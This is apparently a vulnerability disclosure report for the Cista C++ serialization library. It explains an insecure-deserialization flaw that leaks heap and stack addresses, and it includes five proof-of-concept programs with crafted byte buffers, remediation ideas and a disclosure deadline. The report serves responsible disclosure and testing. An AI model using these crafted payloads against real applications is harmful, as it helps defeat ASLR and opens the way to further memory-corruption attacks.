cvd_cista_20250827.md

Insecure Deserialization - Memory Address Leak - Cista v0.15

Description

An issue was discovered in Cista v0.15 and below. Insecure deserialization of untrusted input under certain conditions may lead to address leakage. This is due to insufficient checks with `cista::raw` serializers.

Examples

Minimal reproducible examples are uploaded in extra files below. You can consider adding these as test cases to bolster the existing cases in cista. These tests aren't exhaustive, e.g. `data::string`, `data::hash*` structures aren't covered; but they provide a starting point.

Let's walk through `example_addrleak1.cpp` as an example. In this scenario, we (de)serialize the following struct `A`, and assume the deserialized data is seen by the attacker (e.g. rendered on UI, network request, log info).

```
struct Number {
    uint64_t x;
};

struct A {
    cista::indexed<Number> a;
```

```
    data::ptr<Number> pa;
};
```

Running the file produces the following output:

```
# g++ main.cpp -g && ./a.out
a: 42
pa: 42
out:
0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
in:
0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
a: 42
pa: 0x5580ba678718
```

(Compiled with gcc version 13.3.0 (Ubuntu 13.3.0-6ubuntu2~24.04), running on a Docker ubuntu 24.04 image.)

Here, 0x5580ba678718 is a heap address. This allows an attacker to bypass protections such as ASLR and PIE, opening the door to further attacks. By changing the offset from -8 to 0, the ptr stores its own address. When printing, it dereferences itself to print its own address.

It is also possible to leak stack addresses, if the buffer was declared on the stack. See `example_addrleak_stack5.cpp` for an example.

Remediations

1. Keep a hashmap of "seen" addresses, mapping addresses to a type id/hash. This can be used to multiple effects: 1) it can be used to prevent `unique_ptrs` from referencing the same memory twice. 2) it can be used to catch type confusion (each region should only be interpreted as a single type).
    - This strategy might be ineffective for containers, which span a range of bytes. For instance, a vector uses two u64s for its buffer, size, and capacity. Perhaps a specialized data structure is needed for a fast range insert/query?
2. Avoid self-referencing ptrs with offset=0.

More thought may be needed in handling this appropriately, but these are my two cents.

Disclosure Policy

When a vulnerability is discovered, the researcher (yours truly) will notify the project maintainers with details. A deadline is set for 45 days from the initial report (**Oct. 11**), after which details of the vulnerability will be shared in public with the software and defensive community, or sooner if a fix is released.

example_addrleak1.cpp

```cpp
// Minimal Reproducible Example 1 - data::ptr points to self
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include "cista.h"

namespace data = cista::raw;

struct Number {
    uint64_t x;
};

struct A {
    cista::indexed<Number> a;
    data::ptr<Number> pa;
};

int main(int argc, char** argv) {
    std::vector<unsigned char> buf;
    {
        A data;
        data.a.x = 42;
        data.pa = &data.a;

        buf = cista::serialize(data);
        std::cout << "a: " << data.a.x << std::endl;
        std::cout << "pa: " << data.pa->x << std::endl;
    }

    std::cout << "out:\n";
    for (int i = 0; i < buf.size();) {
        for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
            std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
        }
        std::cout << std::endl;
    }
```

```
    std::cout << std::dec;

    // Assume we read bytes from some untrusted source.
    // This modifies the pointer pa so that it points to itself and leaks its own address.
    // Instead of pointing to 0xffff'ffff'ffff'fff8, we point to 0x00 -> i.e. offset=0.
    buf = std::vector<unsigned char>{
        0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    };

    std::cout << "in:\n";
    for (int i = 0; i < buf.size();) {
        for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
            std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
        }
        std::cout << std::endl;
    }
    std::cout << std::dec;

    auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
    if (!deserialized) {
        std::cout << "failed to deserialize\n";
        return 1;
    }

    std::cout << "a: " << deserialized->a.x << std::endl;
    std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
}
```

example_addrleak2.cpp

```
// Minimal Reproducible Example 2 - data::ptr to arbitrary address within payload
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include "cista.h"

namespace data = cista::raw;

struct Number {
    uint64_t x;
};

struct A {
    cista::indexed<Number> a;
    data::indexed_vector<uint64_t> v;
    data::ptr<Number> pa;
};

```

```
int main(int argc, char** argv) {
    std::vector<unsigned char> buf;
    {
        A data;
        data.a.x = 42;
        data.v = data::indexed_vector<uint64_t>{1, 2, 3};
        data.pa = &data.a;

        buf = cista::serialize(data);
        std::cout << "a: " << data.a.x << std::endl;
        std::cout << "v.size(): " << data.v.size() << std::endl;
        std::cout << "pa: " << data.pa->x << std::endl;
    }

    for (int i = 0; i < buf.size();) {
        for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
            std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
        }
        std::cout << std::endl;
    }
    std::cout << std::dec;

    buf = std::vector<unsigned char>{
        0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0xe8,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    };

    auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
    if (!deserialized) {
        std::cout << "failed to deserialize\n";
        return 1;
    }

    std::cout << "a: " << deserialized->a.x << std::endl;
    std::cout << "v.size(): " << deserialized->v.size() << std::endl;
    std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
}
```

example_addrleak3.cpp

```
// Minimal Reproducible Example 3 - data::vector to self
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include "cista.h"

```

```
namespace data = cista::raw;

struct A {
    data::vector<uint64_t> v;
};

int main(int argc, char** argv) {
    std::vector<unsigned char> buf;
    {
        A data;
        data.v = data::vector<uint64_t>{1, 2, 3};

        buf = cista::serialize<cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY>(data
        std::cout << "v.size(): " << data.v.size() << std::endl;
        for (int i = 0; i < data.v.size(); i++)
            std::cout << "v[" << i << "]: " << data.v[i] << std::endl;
    }

    for (int i = 0; i < buf.size();) {
        for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
            std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
        }
        std::cout << std::endl;
    }
    std::cout << std::dec;

    buf = std::vector<unsigned char>{
        // 0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x0
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    };

    auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
    if (!deserialized) {
        std::cout << "failed to deserialize\n";
        return 1;
    }

    std::cout << "v.size(): " << deserialized->v.size() << std::endl;
    std::cout << std::hex;
    for (int i = 0; i < deserialized->v.size(); i++)
        std::cout << "v[" << i << "]: 0x" << deserialized->v[i] << std::endl;
}
```

example_addrleak4.cpp

```
// Minimal Reproducible Example 4 - unique_ptr to arbitrary address within payload
#include <iostream>
```

```
#include <iomanip>
#include <string>
#include <sstream>
#include "cista.h"

namespace data = cista::raw;

struct Number {
    uint64_t x;
};

struct A {
    data::indexed_vector<uint64_t> v;
    data::unique_ptr<Number> pa;
};

int main(int argc, char** argv) {
    std::vector<unsigned char> buf;
    {
        A data;
        data.v = data::indexed_vector<uint64_t>{1, 2, 3};
        data.pa = data::make_unique<Number>(Number{0x42});

        buf = cista::serialize(data);
        std::cout << "v.size(): " << data.v.size() << std::endl;
        std::cout << "pa: " << data.pa->x << std::endl;
    }

    for (int i = 0; i < buf.size();) {
        for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
            std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
        }
        std::cout << std::endl;
    }
    std::cout << std::dec;

    buf = std::vector<unsigned char>{
        0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0xe8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    };

    auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
    if (!deserialized) {
        std::cout << "failed to deserialize\n";
        return 1;
    }
```

```
52
53      std::cout << "v.size(): " << deserialized->v.size() << std::endl;
54      std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
55  }
```

example_addrleak_stack5.cpp

```
1   // Minimal Reproducible Example 5 - buffer declared on stack
2   #include <iostream>
3   #include <iomanip>
4   #include <string>
5   #include <sstream>
6   #include "cista.h"
7
8   namespace data = cista::raw;
9
10  struct A {
11      data::vector<uint64_t> v;
12  };
13
14  int main(int argc, char** argv) {
15      std::vector<unsigned char> buf;
16      {
17          A data;
18          data.v = data::vector<uint64_t>{1, 2, 3};
19
20          buf = cista::serialize<cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY>(data
21          std::cout << "v.size(): " << data.v.size() << std::endl;
22          for (int i = 0; i < data.v.size(); i++)
23              std::cout << "v[" << i << "]: " << data.v[i] << std::endl;
24      }
25
26      for (int i = 0; i < buf.size();) {
27          for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
28              std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
29          }
30          std::cout << std::endl;
31      }
32      std::cout << std::dec;
33
34      unsigned char stack_buf[] = {
35          // 0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x0
36          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
37          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
38          0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
39      };
40
41      auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(stack_buf, stack_bu
42      if (!deserialized) {
```

```
        std::cout << "failed to deserialize\n";
        return 1;
    }

    std::cout << "v.size(): " << deserialized->v.size() << std::endl;
    std::cout << std::hex;
    for (int i = 0; i < deserialized->v.size(); i++)
        std::cout << "v[" << i << "]: 0x" << deserialized->v[i] << std::endl;
}
```